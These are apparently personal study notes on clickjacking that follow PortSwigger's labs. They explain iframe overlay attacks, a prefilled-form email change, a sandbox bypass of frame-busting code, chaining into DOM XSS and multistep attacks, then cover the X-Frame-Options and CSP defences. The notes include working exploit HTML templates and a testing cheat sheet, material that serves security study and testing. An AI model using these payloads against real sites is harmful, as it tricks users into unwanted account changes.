

Clickjacking (UI Redressing)

Reference: <https://portswigger.net/web-security/clickjacking>

PortSwigger Web Security Academy – Clickjacking Labs

1. Clickjacking (UI Redressing)

Clickjacking, also known as **UI redressing**, is a web security vulnerability where an attacker tricks a user into clicking on something different from what the user perceives, by overlaying or embedding a legitimate website inside a malicious interface.

The attacker does not compromise the target application directly. Instead, they **manipulate the user interface** so that user interactions (clicks, form submissions) are performed on a hidden or disguised target page.

2. What Is Clickjacking?

Clickjacking works by embedding a target website inside an **iframe** and placing it under attacker-controlled content. The attacker then uses **CSS positioning, opacity, and z-index manipulation** to align invisible buttons or UI elements over visible bait content.

The user believes they are clicking something harmless (for example, a video play button), but in reality, they are clicking sensitive actions on the target site.

3. How to Construct a Basic Clickjacking Attack

3.1 Vulnerable Scenario

A target site contains a sensitive action, such as:

- Changing account settings
- Enabling features
- Performing account actions

The site does not restrict framing.

3.2 Basic Clickjacking Payload

```

<html>
<head>
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 800px;
    height: 600px;
    opacity: 0.01;
    z-index: 2;
  }
  button {
    position: absolute;
    top: 300px;
    left: 300px;
    z-index: 1;
  }
</style>
</head>
<body>
  <button>Click here to win a prize</button>
  <iframe src="https://target.com/account/settings"></iframe>
</body>
</html>

```

3.3 How This Works

- The iframe loads the target application
- The iframe is almost invisible
- The visible button aligns with a sensitive button on the target page
- User clicks → action executed on target site

4. Clickbandit

Clickbandit is a PortSwigger tool that allows attackers or testers to **record mouse clicks and automatically generate clickjacking proof-of-concept**

HTML.

How Clickbandit Works

1. The tester loads the vulnerable site in Clickbandit
2. Clickbandit records user clicks
3. It generates HTML/CSS that reproduces the exact click positions
4. The output is a working clickjacking exploit

Clickbandit is especially useful for **precision alignment** and **multi-click attacks**.

5. Clickjacking with Prefilled Form Input

Some applications allow form fields to be **pre-populated using URL parameters**.

Example Scenario

```
https://target.com/update-email?email=attacker@mail.com
```

If the page is frameable, the attacker can embed it and trick the victim into submitting a prefilled form.

Lab Mapping

Lab: Clickjacking with prefilled form input

<https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input>

Example Exploit

```
<iframe  
  src="https://target.com/update-email?email=attacker@mail.com"  
  style="opacity:0.01;position:absolute;width:100%;height:100%;">  
</iframe>
```

Result

- Victim clicks visible decoy content

- Hidden iframe receives the click
 - Prefilled form is submitted
 - Sensitive account change occurs
-

6. Frame Busting Scripts

Some applications attempt to prevent clickjacking using **JavaScript frame busting code**.

Common Frame Busting Code

```
if (top !== self) {  
    top.location = self.location;  
}
```

Why Frame Busting Is Weak

- Can be bypassed using sandboxed iframes
 - Can be neutralized with CSP sandbox attributes
 - Not enforced by browsers consistently
-

Lab Mapping

Lab: Clickjacking with a frame buster script

<https://portswigger.net/web-security/clickjacking/lab-frame-buster-script>

Bypass Example

```
<iframe  
    src="https://target.com"  
    sandbox="allow-forms allow-scripts">  
</iframe>
```

The sandbox prevents the frame-busting script from breaking out.

7. Combining Clickjacking with a DOM XSS Attack

Clickjacking can be used to **trigger DOM-based XSS** vulnerabilities by forcing users to interact with elements that execute JavaScript.

Scenario

- Target page contains DOM XSS
 - The vulnerable action is triggered by a click
 - Attacker clickjacks the interaction
-

Lab Mapping

Lab: Exploiting clickjacking to trigger DOM-based XSS

<https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss>

Exploitation Flow

1. Victim loads attacker page
2. Hidden iframe loads vulnerable page
3. Click triggers JavaScript execution
4. XSS payload executes in target origin

This demonstrates how **low-impact UI flaws can escalate into critical vulnerabilities**.

8. Multistep Clickjacking

Some applications require **multiple clicks** to complete an action.

Example:

- Step 1: Click "Delete"
 - Step 2: Click "Confirm"
-

Lab Mapping

Lab: Multistep clickjacking

<https://portswigger.net/web-security/clickjacking/lab-multistep>

Exploit Strategy

- Use multiple transparent iframes
- Align different buttons across steps
- Guide the victim through a sequence of clicks

Example Concept

```
<iframe id="step1" src="https://target.com/delete"></iframe>  
<iframe id="step2" src="https://target.com/confirm"></iframe>
```

CSS and JavaScript dynamically reposition frames as the victim clicks.

9. How to Prevent Clickjacking Attacks

10. X-Frame-Options

X-Frame-Options is an HTTP response header that controls whether a page can be framed.

Values

```
X-Frame-Options: DENY  
X-Frame-Options: SAMEORIGIN
```

- DENY blocks all framing
- SAMEORIGIN allows framing only by same origin

Limitations:

- Deprecated in favor of CSP
- No support for granular origin lists

11. Content Security Policy (CSP)

CSP provides stronger, more flexible clickjacking protection.

Recommended Header

```
Content-Security-Policy: frame-ancestors 'self'
```

Allow Specific Origins

```
Content-Security-Policy: frame-ancestors https://trusted-site.com
```

CSP is enforced by modern browsers and is resistant to JavaScript bypasses.

12. Additional Defensive Measures

- Do not rely on JavaScript frame busting
- Protect sensitive actions with CSRF tokens
- Require reauthentication for high-risk actions
- Use confirmation dialogs carefully

13. Clickjacking Testing Cheat Sheet

Check If Site Is Frameable

```
<iframe src="https://target.com"></iframe>
```

Basic Clickjacking Template

```
<iframe src="https://target.com" style="opacity:0.01;"></iframe>
```

Sandbox Bypass Test

```
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></if  
rame>
```

Multistep Testing

- Record click positions

- Use Clickbandit
 - Align multiple frames
-

14. Summary

Clickjacking is a powerful UI-based attack that exploits user trust rather than application logic. When combined with other vulnerabilities such as CSRF or XSS, it can lead to severe account compromise.

Key takeaways:

- UI vulnerabilities can have high impact
- Frame busting scripts are insufficient
- CSP frame-ancestors is the strongest defense
- Clickjacking can chain into DOM XSS
- Multistep clickjacking increases attack success

Understanding clickjacking is essential for both attackers and defenders when assessing modern web applications.
